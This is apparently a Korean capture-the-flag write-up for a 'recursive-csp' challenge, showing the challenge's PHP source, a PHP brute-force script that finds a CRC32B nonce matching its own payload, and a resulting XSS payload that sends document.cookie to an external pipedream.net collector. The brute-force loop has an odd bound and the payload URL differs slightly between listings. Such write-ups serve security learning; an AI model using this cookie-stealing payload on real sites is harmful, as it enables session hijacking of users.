-
이 문제는 CRC32B 해시 알고리즘 기반의 CSP를 우회하여 RXSS를 트리거 하는 것이 핵심이다.
문제의 소스코드는 다음과 같다.
<?php if (isset($_GET["source"])) highlight_file(__FILE__) && die(); $name = "world"; if (isset($_GET["name"]) && is_string($_GET["name"]) && strlen($_GET["name"]) < 128) { $name = $_GET["name"]; } $nonce = hash("crc32b", $name); header("Content-Security-Policy: default-src 'none'; script-src 'nonce-$nonce' 'unsafe-inline'; base-uri 'none';"); ?> <!DOCTYPE html> <html> <head> <title>recursive-csp</title> </head> <body> <h1>Hello, <?php echo $name ?>!</h1> <h3>Enter your name:</h3> <form method="GET"> <input type="text" placeholder="name" name="name" /> <input type="submit" /> </form> <!-- /?source --> </body> </html>
name 매개변수를 통해 XSS를 트리거 하려면 CSP를 우회하기 위해 CRC32B 해시가 생성할 nonce가 포함된 페이로드를 만들어야 한다.
<?php $nonce_int = 0; echo "[*] bruteforce start"; while (true) { if ($nonce_int > 2 ** 4294967296){ echo "[-] impressive, no match :("; break; } $nonce_guess = str_pad(dechex($nonce_int), 8, "0"); $name = "<script nonce='$nonce_guess'>document.location='//https://eorgptm6vx5y9lt.m.pipedream.net/?cookie='+document.cookie</script>"; $nonce = hash("crc32b", $name); if ($nonce_guess === $nonce) { echo "[+] nonce found !"; echo "nonce : " . $nonce; echo "payload : " . $name; break; } $nonce_int += 1; } ?>
위의 코드로 구한 페이로드는 다음과 같다.
Payload
<script nonce='2116bf40'>document.location='//eorgptm6vx5y9lt.m.pipedream.net/?cookie='+document.cookie</script>
이제 다음 요청을 name 파라미터에 넘겨주면 csp의 nonce와 위의 과정을 통해 구한 nonce의 값이 일치하기 때문에 CSP를 bypass하고 XSS를 트리거할 수 있다.
GET /?cookie=diceCTF{h0pe_that_d1dnt_take_too_l0ng} HTTP/1.1
댓글 0